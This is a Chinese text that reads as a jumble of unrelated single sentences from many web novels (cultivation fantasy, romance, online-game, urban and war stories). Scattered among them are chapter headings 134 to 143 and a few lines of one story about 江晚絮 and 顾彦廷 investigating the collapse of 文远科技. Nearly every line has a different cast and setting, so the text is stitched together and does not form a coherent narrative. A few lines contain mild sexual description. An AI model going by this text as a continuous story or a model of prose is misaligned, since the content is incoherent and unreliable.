林见儒再厉害,对阵上终归不如她娴熟,而且他强大的地方只在于修为灵力,再加上他始终未曾全力与她相拼,因此于打斗上比起终究还是势弱了些。几百招过后,他便还是落了些下风。
一个急刹,路清河把路逸晨从车上拉下来,两人坐到马路旁边的长椅上。第一次看到路逸晨如此的面无表情,如此的生气。
叶雯这几个月做的事多少让她有些心虚,虽然高雨和那个陈风都有配合。可她还是不太清楚,路清河有没有和他们说过让她做的件事。要知道,虽然这事让路逸晨他们来做,与她相比较的话,那就容易多了。
陆压眼眶泛红,他多么艰难才忍到这一刻,他心如刀绞,每一个刀痕里都写满绝望。
隔着重重桃花,徐惠尚还不能确定那在一棵桃树下把扇而谈的年轻学子的身份,但徐玫只是一瞥,就认出来了。
第一卷 第134章 反正心都已经烂了
京市南城的一处茶楼。
环境清幽,檀香袅袅。
但顾彦廷并没有品茶的心情。
他对面坐着一个头发花白的老人,正是顾氏集团前任财务总监,陈伯。
“陈伯,我想听实话。”
顾彦廷开门见山。
“五年前,方文远的文远科技,到底是怎么垮的?”
陈伯端着茶杯的手顿了一下,随后叹了口气。
“傻丫头,所以,你也别说是你的错,”秦朗叹了一声,就想侧侧身,他这样平躺着,叶离稍稍一低头,他就看不到她的脸了。
来回巡视的彷生机械人,就跟普通人一样,在这里生活,工作,阳光照射下,日子一切都很难认为是在末世。
孙思邈认同了杜爱同的话之后也不多说什么了,至于眼前的这个道士,杜爱同直接让张围押送到官府去了。
要是保险不够理赔,那剩下的钱自己拿,可自己一个月也就七八千块钱,还在郑市按揭了房子,父母又刚从老家搬过来一起住,只是想想姜仙就头疼。
她和霍沉衍……他们本就是两个世界的人,所以……她还是不要自作多情的好。
她骂骂咧咧地告诉我,在国内河陆市呆了一个月,累死累活,到最后她也只分了四颗。
众人见状,也很清楚,有此一战过后,慈航静斋算得上在武林除名。
江湖人送外号多情公子,而花间派的宗旨,就是以艺术入武道,一脉单传。
叶景海心里面到现在还是极端厌恶赵长安,根本就不和他搭话,甚至连望他一眼都觉得难受,让出大门邀请几人进叶园。
但是,即便不是行内人,方天鹫却也知道有些事情要让它处在自己的控制之下。
凤起一阵惊悚,前辈……她唤叶风瑾兄长,叶风瑾唤她一声前辈……貌似也没错,但是合适么?
顾东升抢救过来后,后半夜就好多了,只是胃里面还很疼,陆菀惠和顾津津轮流照顾着,这会谁都没了睡意。
泰坦星界要塞总共有三门主炮,威力最强大的一门主炮是环形粒子炮“泰坦之怒”,另外一门主炮则是覆盖范围极广的激光武器“灰烬冲击”,还有一门主炮则是专门进行超空间跃迁打击的“次元棱镜”。
她虽然惊讶封圣竟然真的和安娜去相亲,但她心里是相信封圣的。
在这个问题上,顾津津已经不想再跟他争辩了,反正就是她说什么他都听不进去,对牛弹琴,或者可以说是装作听不见。
我喜欢她七年了,她从来只把我当成知己好友,一直不知道我从开始就不想当她的朋友。
卓宁不听蔡念兰的话,反而听卓凌的话,这令蔡念兰心里更加的恨,她狠狠地白了他一眼,她恨他身上那股下贱的味道,下贱的人生的儿子同样下贱,连饭桌都没资格上。
司机将车开去了就近的医院,车子刚停稳,宋宇宁的车也跟来了。
凯杨一手握着方向盘,另一只手宠溺般的摸了摸佳瑜的头,可是他的话一说完,佳瑜的手又再一次的抓住他暖暖的手心。
“谁知道你会不会坑我,要么别赌,要赌就来个实质性的彩头,敢不敢?”吴华就猜铁柱不敢。
“秋弘业他向太一道自首了,太一道将他废除修为,逐出师门了!我们这枚棋子算是废了!”李璞承说道。
白凝夕和蔟熙颖乃至其他魔影们都还好,并未受太重的伤,白凝夕眼看着寒烟尘掉落在地,她立刻不顾一切的冲到了他的面前,将他扶起。
第一卷 第135章 害怕了?
江晚絮刚下楼,就看到一辆黑色的大众车等下楼下。
程宇看到她,赶紧下车给她开车门。
“晚絮,第一个约见的人是老赵,以前文远科技的技术总监。”
程宇的声音有些低沉。
“资料显示,文远倒闭后,他就回老家开了个小卖部,日子过得很拮据。”
“只是一张面皮而已,至于吓成这样。”见夜鸿弈面色惨白,瞳孔骤缩,鬼杵有些不解。
血洗了金蝉庙,柳眉公主等人便以有要事要办为由,迅速撤去了。临走之时,柳眉公主赐给了石峰这一块写着妖的玉石令牌,算是答谢救命之礼。
“为什么吃了灵丹之后夕颜会变那样呢?”令关剑想不通的就是这个问题,夕颜一开始吞下还魂丹的时候,精神还好好的,可没一会儿就变成那副狰狞的模样。
良久,等到烟雾终于散了去,鱼算子才颤抖的将那怀中的扇子掏了出来,神情悲伤的看着那已经被折断腰肢的扇子,欧元林夕,难道真的要失去你了吗?
眼看着无数雪狐被杀害,狐王神色痛苦地喊了起来,心中气愤不已就要冲过去跟那血人拼命,血人张大嘴巴,从口中射出一道血柱直冲向狐王。
“自己去看新闻吧!我忙着呢!下午别让我找不到你人!”崔默说着便挂了电话。
“今天叫你来是让你认识下公司里的人。”周权让徐光熙熟悉新环境。
阳光照射进来的同时,出现在关剑面前的是一个无比庞大的身子。那怪物看起来像是一只巨大的象,但全身却是雪白的,粗大的鼻子在身前一抖抖的,不时发出一声扑哧来。
管家承认,这是近一个月来,永清王第一次露出如此欢愉的笑容。
“只要你爹那里答应,我便带你去。”蓝卿月把皮球踢向蓝倾城。
千蛛子似乎被我看穿了内心,躲闪着我的眼神,我冷哼一声,他脑门儿顿时见汗。
他炯炯有神地看着那一片浓烟,冰冷一哼,任是谁都看得出,有人毁灭证据,一了百了。
一个身高约四米多,全身紫色皮肤,额头之上,长着一根半米长紫色独角的魔族缓缓说道。
由此,他们只要对着冲进来的幻兽炮轰就行了,也就不需统一炮轰,虽然他们的炮击是变得便利起来,但是其中的危险也跟着变大。
闭关之前,他们交待下去,让手下的那些人马,尽一切力量,服侍好阿紫等人。
倒不是紫儿沉稳,而是那都与她关系不大,她所要做的事情不过是好好看地图,带着人前进罢了。
可今天听千蛛子的话一说,我又有点儿混乱了,千蛛子体内的魔气是纯正的祖龙魔气,据说是得传于我的,那么经前世的那个我DIY出来的不死魔童,更应该得我真传才对,那这“魔之始祖”难道指的是他?
青罗山所属和太乙门下,是完全不同的两个概念,前者是月影所收服的那些人仙、妖仙,而后者却是指太乙门的弟子……不是月影等人的弟子,目前她们只有三代八名弟子,确实是少了些。
不然的话,当初冥王也不会将血气导入人间,血气流入人间的时候也不至于将人皇逼到那般疯狂的地步。
“嘿嘿,仙州修士个个贪婪无比,稍稍施展魔功就会沉沦其中,附身夺舍简直轻而易举!”太鸢天尊满脸不屑的回道。
第一卷 第136章 再等等
回京市的路上,天已经全黑了。
江晚絮蜷缩在后座上,手里紧紧攥着那个刚复制完录音的U盘。
真相,往往比谎言更伤人。
她一直以为,是顾父的傲慢冷漠,逼死了舅舅。
可现在呢?
证据确凿。
真正捅刀子的,是舅舅的“好兄弟”李强,是顾家的旁系败类顾建邦。
当然,顾彦廷的父亲也不干净。
但他们……不是凶手。
“不是,来看看你到底有多能闹腾?”他蹲到我旁边,从我手里接过了手机。只见他用力一拗,手机断成了两半。从断裂的机器里,他手指灵活的拆出了sim卡蕊片。
“我…”夏念真的不想让骆铭的父母知道太多,这样,只会让他们忧心。
“放你的狗臭屁!谁告诉你这里死人了!胡说八道!”老人家吹胡子瞪眼,怒冲冲的训斥着。
季凌菲这样一想,心中也不再那么害怕了。即便被他再找到,她也不会再害怕。
不怪温蕾莎,也不怪昊王,走到这一步连我都有点想投降了,如果不是拉不下脸来,连楚天都感觉抵抗再无意义,敌人实在太强。
方千姿盯着他想说什么,可最终还是摇了摇头,低声说道:“没事。”然后转身离开了。
大城市就这点不好,尤其是外地来工作的,邻里之间的交流极少,管静刚搬来,人生地不熟的,不可能让别人帮忙带孩子。
江雨霏瞄了一眼手机屏幕,下意识地看了一眼床上的百合,走到阳台上才接起了电话。
我就干巴巴地蛋疼,伊丽觉罗随意擦拭了一下脸上的血,和陈叶心一起看着南宫昊了。
“张姨,我去找找他。”季凌菲也坐不下去了,没等张姨说话,她就已经拿过手电跑了出来。
那一根根可以割裂神灵身体的,就像是腐朽不堪的麻绳一样,在碧寒剑之前齐刷刷地被斩断,再也没有了之前的锋锐。
在地下虫室的湿冷黑暗中,青茗明视着倒在眼前的男子尸体。这个男人在最后喃喃自语说了些莫名其妙的话之后,最后带着一脸满足的微笑死去。
红若露出佩服之色,蓝双和绿茵都是惊讶,黄依虽然也有些佩服,不过她还是不喜欢这个娘娘腔的主子。
总是垂下的头在此时高高抬起,殷红的唇角带着几分镇定的笑意。
蜀山众人对望一眼,然后齐齐看着金羿,心中大惊,单看这鬼气的阴森,就知这鬼必然冤气甚重,却不知金羿为何会将这鬼给装在自己随身携带的储物葫芦之中。
花凌钰凤眸中闪过一道不悦的光,足尖一点,瞬时便消失在了柳如月面前,仿佛根本就当柳如月不存在一样。
霍茂祥听得都傻了眼,按照王诺的合约条款,他别说跟盛和签合约了,随便在盛和所在的金融大夏溜一圈,少说能拿到十份八份的合约。
炫目的烟花一次又一次的在天空中绽放,然而万张光华却不抵身前一人,凉薄的眉眼里闪烁着金色的光芒。
“他”看起来是这样的虚弱,满是龟裂的身体似乎在下一刻就会破碎。
“你确定是为数不多?我怎么听月棠说,你昨天列了一整张单子的吃食?”沈毅说。
从历史上可以证明,一旦从遗失神殿里面出来,并且还成功晋级成为剑圣,必然会受到各方势力觊觎,这是一件非常麻烦的事情。
唐悠儿心中虽然不屑,可是面对此情此景,脸上倒也没有过多地表现出什么。
第一卷 第137章 让他生不如死
车子开出很远,江晚絮才擦干眼泪,从包里掏出一把药片,看都没看就塞进嘴里干咽了下去。
那是止痛药,还有抗抑郁的药。
“程宇。”
“我在。”
按照时间来看,差不多就是这个时候,要是再不去,恐怕苏将军会有危险。
妖兽鬼市,是专门贩卖妖兽的市场,世界各地都有,由于香都挨着星罗,所以这里的市场尤其的大。
老者有些忌惮龙杰身上猎妖师的气息,并没有动手,而是对龙杰威胁到。
目前,苏峰没有更好的办法摆脱对制度的依赖。在早期阶段,只有通过制度,才能弥补我们身体天赋与那些天赋之间的差距,才能摆脱体制,真正超越他们。
本来,他只打算让圣子,以玉虚宫下的道统为条件,和天神宗的几人谈判。
气氛紧张起来,偌大的城堡大厅里,寂静无声,魂火光点在空中散漫飘荡。
历修璟不敢相信,盐矿图是他亲自送去的,怎么出事了他会不知道呢?
皇上满意的点点头,虽然裕王这个儿子有时候鲁莽了点,冲动了点,不过到时候教一番就好。
现在身处于幻境之中,里边的人和事物所处的时间线会和现实世界有所差别。
原本李玉春对罗家已经没了念想,可是这听说方秀和罗志明的事情,她的脑子又开始盘算起来了。
薛三贵顿时一阵后怕,虽然从那以后他再也没从总盟主那里得知更多关于苏家的消息,但不可否认的是,苏家是一个极其令人忌惮的存在,而苏可的突然出现,是不是意味着江湖格局要重新发生变化呢。
有几根藤蔓被打断了,但那人还是晚了一步,被另外几根藤蔓给缠了个结实,迅速的拉上了树顶。
在连环击之后。顶住对方腹部的膝盖突然往回一缩,在离开一定距离再一次猛的顶出。
张劲出去拿来些宵夜、咖啡、香烟,这是做好要熬夜跑通宵的节奏。
再说,送葬送葬,他们也就是将棺木送入里面的那个大堂,再上香,祷告,上祭词,然后大伙都拜一拜,便完事退出。
大鹰鹫只能带三人,秦陌月的尸体水分都散去,重量倒是不重,但是再带大长老却是不可能了。
虽然天气的温度已经下降,可是在八极拳总盟庄园中,人们内心的热火才刚刚升起,因为就在刚才,随着黑脸长老的一声令下,关系着总盟上万弟子未来前途命运的总盟主之争,才刚刚进入白热化。
但是这事情也解释不清楚,最后支支吾吾了半天也没说出一句完整的话。
太爽了,他眯着眼想到。下面就是重点了,她的两只手交叉叠在胸前,将那两团凸起挡在了手臂后面,不过即便如此,据他目测至少也是个D罩杯,摸在手里,感觉一定很好。
元神力无法修炼,至少在炼体境没有任何修炼方法,并且只能随着境界的提升而增长。
随着越来越远离地面,明轩的怒火也渐渐降了下去,因为他也不得不考虑一下眼前的处境了。
“现在兽之疆域中魔兽的力量占据绝对优势,不过三大道门的弟子会陆续传送过来,到时候情况会好一些。”明轩沉静的说道,倒没有太过忧虑。
第一卷 第138章 别怕,我在
天使和恶魔,正义和进化的战争迟早要打响,双方都不可能退缩。
不然只要天道还在,他和凤瑶就被绑在了一条船上,谁也离不开谁。
思来想去,池屹还是决定先上去看一眼情况,但凡不算紧急,他就可以名正言顺的说服自己,放心的陪着丫头住院。
“娘娘,陛下龙体无恙吧?要不要召玉神子?”一名老臣,满脸忧虑之色。
“我只看一眼,在外面看一眼行吗?”她从没做过这样的事情,没有在医院放下面子和矜持,想要护士为她打破规则,就为了迫不及待见自己的家人一眼。
双方就这样对视了一段时间,就在苍司有点撑不住想要低下头颅之时,日向流介终于移开了目光。
如今的分身是用一根肋骨做出来的,若是和主体不能沟通,就很呆。
“太子殿下,您看咱们是在诏狱里审,还是把人带出去?”陆斌躬身,对万历太子礼数周全的问道。
听着二人的话,杨若渝全身一颤,片刻后她的眼泪便不争气的流泪下来。
宗主被杀,这些凌云宗的弟子也是人心惶惶,见几位长老都是一副要吃人的样子,吓得赶忙抽身朝远处走去。
余志乾这边将拉米亚击倒之后,就立刻蹲下身子,继续转移,那个该死的狙击手还没有干掉,只要他在场上,对于余志乾还有其余人都是威胁。
“谢谢。”赵雯君接了药膏道谢,却压根就没问她脸上的这个伤还有没有复原的可能。
黎辉适时的提醒楚修,天空中灰蒙蒙一片,火山灰几乎将整个岛给笼罩了起来,而且不断有熔岩正在慢慢逼近众人的位置。
恶魔继续低语诱惑着楚修,楚修的力量恶魔亲眼所见,由楚修帮自己动手那是再好不过了,毕竟他想要杀人是很轻松的事情。
黑,当进入母舰之中,余志乾第一感觉就是眼前一片黑暗,根本看不见任何的东西,不过经过短暂的失明之后,余志乾看清楚里面的情况。
萧樾似乎就只是想告诉他这些事,压根就没期待他会给个什么态度出来。
“宝贵,当然宝贵。施主有心向佛,实在功德无量。传播佛法,本就是我佛门中人分内之事,施主要研修我寺佛法,自无不可。
说完话李珂就跑掉了,因为他看到多洛蕾丝正在和自己的惹不起萝丝说话,而且还是一个没人的角落,所以很久没有调戏萝莉角色的他,就径直跑了过去,丝毫没在意其他人古怪的神色。
艾丽丝自然不会不答应,她拿出了一个闪着光芒的金色结晶,开始了自己的诉说。
虽然罗力只是高官,但他却拥有越过高官越级指挥的权力,这就是特别行动处处长!高官也不敢得罪的存在。
徐老爷子这话说完,冯氏跟蒋氏的面色,纷纷都是不怎么好,但是老公公都发话了,她们又能说什么,只好闷闷的点点头,算作自己已经知晓。
而且香港的人工比南华更便宜,距离布料的原产地更近,所以服装行业香港的优势更大。
弓弦被拉满,一道金黄色的光箭自她手中浮出,跟着九倾瞄准的方向,稳稳地指着她的前方。
四斤鸭绒全部泡好,这才放心去的睡觉。躺在床之后,徐苗翻来覆去的还是睡不着,脑子里不停的想事情,也不知道哪来的那么大精力。
拿到结婚证还只是第一步,下一步,就要通过军政府为周南和凯莉,包括奥黛丽和她的妈妈开具自由居民证。有了这个证件,在欧洲的大部分地区,他们都能自由通行。
如果是这样,那么,随着他功力的成长,是否还会获得新的能力?
江楚楚说完,兴奋的眼泪婆娑,任由胸前被子滑落,光着身子紧紧抱住了李唯。
而且,他们几乎天天来,每次来的人除了一两个打头的剩下的人都不一样,让人挑不出毛病来,明显都是来找事的,如是几次,马长禄坐不住来找徐墨。
徐苗的身份虽说是莫须有,不过也不可能真的凭空捏造。秦元峰自是查了他们家老祖宗十八代,才找了这么一个很好的借口,康氏并不知情,认为是那个远方不知道哪的亲戚了。
见魏索出手,一开始黑衣人还根本没有将其放在眼里,只是认为魏索自以为不是他的对手,所以才采取偷袭的手段想要先发制人。
高山村因为太穷太偏了,很多人都外出打工,山上有很多暂时没人住的房子。
这一下即便是地里的材质坚固的异常,可还是因为冯三眼的这一下出现了一些许的裂痕。
第一卷 第139章 给了他一巴掌
江晚絮抿了抿唇,看着镜子里的自己。
死过一次的人,还会怕什么?
“就是因为它在顾氏眼皮子底下,才最安全。”
江晚絮站起身,脚踝处传来一阵钻心的刺痛,她眉心微不可察地皱了一下,随即恢复平静。
远处,首无无头的身体一路磕磕碰碰的走来,手中举着一个牌子,上面写着:由纪,把我的脑袋还给我。
他曾是全服赫赫有名的职业选手,但是隐者没落以后,甚至连那些二流的战队也拒绝他的加入。
想要改变这一切,只有成为下棋人,观棋人,到了那时,李青莲或许才能守住这一切。
下一刻,月岚吐出的这个字,仿佛是蕴含某种特殊的力量,竟然是在空中瞬间成型,是的,只一个完全由力量凝成的大字,一瞬间便是凝成了,下一刹那,这个大字径直的冲正在发愣的段誉魔尊飞去。
或许,这些年轻人的出现将会改变这个联盟,那些没人撼动的神,准备好颤抖了吗?
这是一枚玉色的丹药,拿在手中,他感觉灵魂之中的撕扯之感顿时好了许多。
白落轻笑一声,随着老者的昏迷,缠绕在洞口的古藤,也随之退散。
在商场上面历练过了当然也不再像以前那样没有眼力见,看着张毅惊悚的样子也隐约能够猜到一点张毅的想法,有点泄气的一屁股坐在石凳上面。
“爬升还是那样暴力,每次看,都还是那么让人震撼。”谢凯很满意巴基斯坦这些高层们的反应,对于这样的暴力攀升,他非常满意。
月岚看着吴迪,只见吴迪面色惨白,紧咬牙关,像是在承受某种难以言明的痛苦,她的美眸之中也是流露出了担忧之色。
刚刚渡鸦一号在室外侦查的时候,发现厨房在二楼,这栋房屋的格局看起来也是为了商业开店准备的,一楼十分空旷,二楼有厨房,盥洗室,会客厅,三楼基本都是卧室。
“简单!狂人帮和那个高宁所做的一切不就是为了在东京立足吗?
这味道,和之前吃过的牛肉,猪肉的味道不一样,这种肉有股别样的香味,对于起来,这种肉的香味比那些肉都要香。
毕竟安度因在暑假刚刚闹出大新闻,现在不适应弄得树大招风,而且那个狼人巫师还在逃呢,他可不打算提前暴露目标,给对方报复的机会。
这些家伙穿着紧身作战服,带着统一样式的黑色头盔,手中端着微冲,直接扣动扳机见人就杀。
白安的内心总算有些安慰了,不怕弟弟不会,只怕弟弟死活不改。
庄黑看着包厢内的装潢,心中有些骇然:看来这个邀请函的作用还是蛮大的嘛。
岁岁打死都不愿意做许珏的弟子,她躲到苏团子身边,被她哥给气死了。
车轮不受控制磕在马路牙子上,随后如同炮弹般旋转着砸进了路边一家超市。
那么在现在对于这些事情的这种认知下,的确不难看出在现在的这个时候,怎样去认真的完成一些相应的举动。
林天遥和华佑贤一个接一个地移动,他们俩都立刻进入了飞行的桥梁。
“你去回话,我寒疾犯了下不了床。”就算大皇子不相信华淑总该信几分了,她自幼就难过冬,因为寒疾,也是这两年才稍稍好些,这些华淑都是知道的。
第一卷 第140章 可惜,我不愿意
“絮絮,这房子……得花不少钱吧?”
外婆浑浊的眼睛里满是局促,“外婆有退休金,外婆不花你的钱……”
“我有钱。”
江晚絮把外婆扶到沙发上坐下,“我还有公司呢,您忘了?”
刘阿姨很有眼力见,端来两杯热水便退到了厨房。
那玉柱的法则慢慢收缩,压缩,一点点消失,只有扭曲的虚幻光波越来越强大,从下方盘古为中心散发起来。最终玉柱化作一根大立柱般,盘古再不能压缩升华自身的法则。
在杨萧的帮助下,冷亦枫身体恢复得不错,他只能在冷政面前言听计从以此来迷惑冷政对自己放松警惕。
他控制欲太强,亦或者说不屑让我碰,所以每次在床上他都是压制着我的。
“恭喜你,或许下次见面的时候,我就要喊你参议员先生,到时候如果我找你办事,你可千万别给我吃闭门羹。”李牧主动开玩笑,用这个拉进和本杰明之间的陌生感。
这里的“高度”就是纯粹的高度,曼哈顿拥有美国最密集的高楼大厦,骏马镇虽然路面平整街道宽阔,但高楼大厦就没多少,更多的还是两三层的木质独栋乡村别墅,这倒是另有一番风味。
巷子太窄,“甲壳虫”自然不能开进去,所以魏仁武也跳下车,用双腿去追赶。
因为严寒的困扰因素被将至最低,是以华东兵团的指战员们可以全力的投入到进攻当中,本来兵力就处于劣势,加之又是突然受到攻击,仓促之下美第10军遭到重大损失,不得已只能被迫后撤。
而此时,有能力相助的鬼天、圣灵族族神子以及其他强大的修炼者,并没有任何想帮忙的意思。
镇元子只对陈光锐一人多看了一眼,接着凌空飞起,袖里乾坤使出,刹那将取经队伍全收走了。
殷戈止抬脚就走,风月背着包袱想跟上,却被旁边的人抢了先。三个大屁股往她面前一横,很是端庄地将她挤到了后头去,顺带还给了她六道不是很友善的目光。
“对了,听阿姨说你打算去南部开分店?”方悦想到早上碰到席妈时,聊起彼此两家的情况,无意中得知“席卷珠玉”的生意很好,席以筝有心想往南部发展的趋势。
筑基期瓶颈足足困住了他二十年,这二十年来自己无时无刻不在想着要突破筑基期瓶颈。
陈一刀绕着头装傻,嘿嘿笑道:“习惯,习惯,故事嘛!用肢体比划更有入代感。”陈一刀是心不对嘴,他心里正在淫笑:谁让你对本少爷说话那么横,不耍耍你又怎能消我心头之恨。
望着那踩在人肩膀上而来的中年男子,不少人都微微一怔,因为这中年男子并不陌生。
看着吴浩民和冯玉宾两人亲热碰杯、讲古,吴浩明和朱珠只是带着微笑,埋头苦吃,再不然就是朱珠面带微笑得和大嫂、舅妈闲聊。
然后当然是补偿这些受害幼儿的家长:所有的幼儿,如果检查出是受害者,将免费获得治疗。
“没骗我吧?她那座冰山怎么可能融化?”陈一刀的表情显然不相信,不止他不相信就连萧傲他们也不相信,可是他们看到的东方雪莲确实是已经融化的冰山。
可是理智告诉她,今天不能跑,跑了说不定李一凡就收回“任命”了,那自己昨天晚上回家和爸妈报的喜就是一场空了,今天爸妈都在等自己的好消息呢。
第一卷 第141章 这次要输了
诸人争来争去,最终没有说出个所以然来,但是这登仙榜第一席位,诸人以为除了镇苍穹天骄,无人可以掠夺。
秋菊不甘不愿的应了一声,和夏荷捧着放满了各式首饰和衣物的托盘走出了雅间,往楼下去了。
饥荒爆发,大量的r国人活活饿死,随后引发的瘟疫肆虐,更是让那些r国人雪上加霜,本来有希望逃出升天的家最终还是没有逃过一劫。
“后来我凿开了她的脑子……”一声唐突的异声插进了季佳唯的话里,季佳唯声音一顿,接着又若无其事的说下去了,“凿开她的脑子之后我发现里面有一个不同于白色脑浆……”季佳唯的声音又被同一道异声打断了。
莲心子在清荷院久久没有见到温梓容来,正想让人再去一次的时候守门的人才来禀报说世子爷过来了。
“怎么?这里我不能来?”陈云露出疑惑的目光看向两人,询问道。
“你放心吧,魅影办事向来稳妥,我相信他不会打没有把握的仗,我们只要在这里静等好消息便成!”听到华青青所说,李三桂的心中也顿时不安的起来,但是却只能安慰华青青,同时也是在安慰自己。
他们倒是想说,但是为什么要来杀郭东,他们肯定不知道的。剑无邪又没有告诉他们。
“这是我三舅,刚才买驴的钱没了,农村种个地没牲口肯定不行是不”王占恒指了指身边的三舅说。
“大脑袋!过来了昂!”停好摩托车的王占恒看到了不远处的一个青年就喊了一嗓子。都是道上玩的,王占恒和沈大脑袋互相都认识。
为此,梅局长特别召开了新闻发布会,在发布会上,梅局长多次引用“林老师”对电子竞技运动的分析。
不过虽然心中已经决定了,但蔡旭也没有多黄驹说什么,只是让其在负责政务处理的时候,准备好大迁移的计划。
并且他还发现这石雕并不是一个独立存在的,而是应该存在着一整套,他拿到的这个石雕只是其中一个。
其他几人的关卡也是困难重重,人最痛苦的事情,莫非是面对自己致命的伤痛却无能为力,众人一开始就被弄的心理崩坍,看到学员们痛苦不堪的表情,他们有些于心不忍,但是也无可奈何。
实际上在吸收了如此巨量的灵液之后,秦尘的修为并未获得明显的提升。
几颗顶级的记忆泡影,就足以让他们沉沦,毕竟无数年来,人间道中不知道保留了多少顶级修士的一生记忆,比他们更为强大的数不胜数,足以彻底淹没他们的心神。
近几年鼎丰企业因为董事长时常染病的原因,企业业绩下滑不说,更是出现一些打着企业招牌在外面胡乱拉客户的职员,总而言之就是内忧外患。
林迪微微点头,这个世界的人的确基本没有怎么接触过游戏,不过不代表他们笨,俄罗斯方块本来入门就简单,短短几天,能达到42万分,已经很不错了。
他刚看见这人的手一动,已觉得腰上一阵刺痛,就像是被尖针轻轻刺了一下。
听到陈杰这样说,梁善脸上闪过一丝感激之色。他知道陈杰这是在帮自己。毕竟在大部分鬼修的认知中,实力越高,触犯天条和阴律的天谴就越严重。作为已经脱离轮回的鬼仙来说,本身就不能沾染因果。
寻思间,骨灵领主已经回身,狂嚎一声,舞剑朝我奔来,剑锋泛着一缕黑光。
她转身,经理退开,男人迈步而入,高大的身影,冷峻寡淡的面容,一如往昔,四目相对,她墨镜后面的双眸,瞬间湿润,却倔强的咬紧牙关,一言不发。
一个超低的伤害数字飞出,锯齿魔仍然吃痛的晃了晃脑袋,亮起锯齿朝我袭来。
玖璇郑重地朝着冬幂鞠了一躬,感谢她这一年來的照顾,教他运用灵力。也同样感谢她,时刻提醒着自己,不要忘记了初衷。
无论他们两人的出发点是什么,我明白,他们都是上帝赐予我的礼物。
向晴的警告,换来的却是陆离野的一个翻身,直接将她霸道的压在了身下。
我微微一笑,没有这个实力还来死亡之地找新地图,恶魔洞窟最低怪物等级是50级,相信不比死亡贪狼的属性差,这样就限制了一批等级低的玩家,没有40级二转完全不用过来,这样的队伍,去了也不见得有什么收获。
我回头瞪了萧少峰一眼,安慰了陆陌川两句,这才和他一起出了病房。
性格的缘故,李嘉尧骨子里比较仁慈,这几年很多事情都是孟静做决定,但孟静狠辣归狠辣,在感情里她甘愿被李嘉尧驾驭。
可是在这之前,所有的一切他都得毫无条件的去接受,就比如说是现在,他发现驱逐这片黑色的雾气越来越难。
叶凡带着桂英背着金银花往县里去,在见到村里好些人家的人都咒骂哭闹,甚至有的人匆匆挽着东西回娘家去借银子,在路口刚好和桂英叶凡碰上。
当初夫人出事后,世子身子好转便让他们去寻找叶公子的下落,却不想叶公子好似消失了一样,根本无从查起,没想到人一直就在他们面前,只是他们没有想到前几年名声大噪的少年将军会是叶旌阳。
他们几个虽然人少,可穿着也不算差,尤其沐筱萝,虽然一袭简单的衣裙,没有过多的配饰,可是那衣料都是上等的丝绸缝制的。被范健指责为贼,别人都羞恼不平,只有她,心不在焉地沉默着。
第一卷 第142章 见鬼
“这次去江南分部的技术支持,谁去?”
说完吴忧就把玉佩拿在了手中,高高的举起,看他的样子,好像是随时都要把这块玉佩摔到地上一样。
她嘴上这样说着,心里却明白,这一别,今后恐怕再难有相见之日。这样的年代,聚散离合,便如飘落的浮萍,再难寻重逢的契机。
卢迦不紧不慢地走到了利奥的面前,他上下打量着利奥的衣服,依旧没有开口说话。
“上界?你们又把上界之乱捅出来了?”邢浅不在意似的挑了挑眉。
龙迹抬头看去,只看见疾风以及冲到了龙迹上方,手掌对准了他,接着风球形成了。
当然,泪砸作为“团宠”,依旧在挑战史上地位最低作者大大的道路上摸爬滚打。
“谢谢您的关心,我们已经要躲起来了。老王虽然不在了,但是他也早就准备了一些后手,说假如有一天他不在了,用什么方法保全自己。”宁玉一边掐我的胳膊,一边就说道。
可是这个时候还不能停,还得继续,如果听了,那等于就是戏弄这些残魂了,它们非得弄死我不可。
生命神殿由生命神掌管,他们若是退到那里,这场战斗便稳赢不败了。
大厅里的客人,男士大多都是西装革履,看起来相似,但是通过袖口的纽扣还有暗纹,彰显着不同尊贵的身份。
“只要有我杜伟在蓝氏,你就别想那么容易的得逞!”说完,杜伟就毅然决然的走出了这间办公室。
“走吧!又还没死,受点伤也要指名谁谁谁治,有人治就不错了。”乔雪颜讨厌叶如渊,但还是跨步出屋子,往诊室方向去。
玉心,这都是你逼我的,本来我是不想走到这一步的,都是你逼我的。
“哼~别以为这样我们就会让你轻松过关”百里谦狠狠的瞪了一眼远处的凌熠寒。
她不迎他,也更不惧他,她连死都不怕……这让景元帝更有一种浑身都是嘴,可偏就不知该如何去向她下嘴的无助感。
她极大可能是因为自己才变成这副模样,在这样的节骨眼下,顾祁森断不可能眼睁睁看着她将生命一天一天浪费,他发誓,无论付出多大的代价,都一定会救她,会让她变得跟正常人一样,健健康康地活下去。
这一点灵兽与人是不一样的,人们崇尚强者为尊,而灵兽是以血脉定尊卑,其次才是强者为尊。
这里园子边上的奴才,原本是闲着无聊,歇着偷懒的,可谁想到,皇帝竟会在这个时候过来?
而元罡期执法弟子,则是按照天资和实力的高低差别,划分天地人三级执法队。
话音刚落,醉酒仙的身体散成云雾状,这一招出奇制胜十分巧妙,看来,他知道自己远不是刀龙的对手,所以一出手,就是按拼命的来。
这张熊皮少了四肢,不够完整,但仍旧能做为捕杀熊瞎子的证物,同时,也是他卢山民迎娶村花的资本。
“干啥,干啥,咋不让我看了”聋子见电脑关了,极为生气,就要自己去开。
第一卷 第143章 牺牲品
绝对不能够碰到地面,我将自己神识的强度提升到极限,去极力的控制周围所有的神息,神息缠绕,也正是一瞬间,魂魄汇聚。
大概是被飞行弩的威力吓到,妖兽们都不敢再靠近,不过他们却将营地团团包围起来,慢慢绕着圈子。间或还能听到有的妖兽发出各种各样的怪声,让人毛骨悚然。
“不会!”吴庸淡淡地说着,没有得到唐大国的允许,就坐了下来。
我们不能再看到你在边路如飞突破了么?我们不能再看到那接近90度的弧线传球了么?我们不能在看到你那如同杂耍一般的过人了么?
此刻在洛漓身边的,自然是当初和6远有些矛盾的洛漓的哥哥洛丘彦。
不过,周围到说不上昏暗,因为又数不清的萤火虫在大道两旁徘徊,形成了自然的灯光。
别人听不懂这话是什么意思,但董飞确听得明白,心中暗想,你直接就三叔和黑衣姑娘来我来就不行了,但表面上确一点也不流露出来,翻了一下身,接着再睡。
带着满心的恼怒,李天河和一众李家人讪讪然地走进了大门之内。
“什么?你说什么?”曹处长几乎不相信自己的耳朵,摸了半天耳根子以为自己出了毛病再不就是出现了幻觉怎么觉得怎么不对一定是听差了。
虽然我有些心疼,但这钱是必须要给的,因为没有三个军团的主力拼死拼活的帮我拖住了韩国玩家,我哪能那么轻易的获得冰霜之王的掉落并最终夺冠?
一些和他交情比较好的圣域强者,神色紧张,有点不太明白,莱斯特尔怎会问出这句话,太年轻,总有时候犯糊涂。
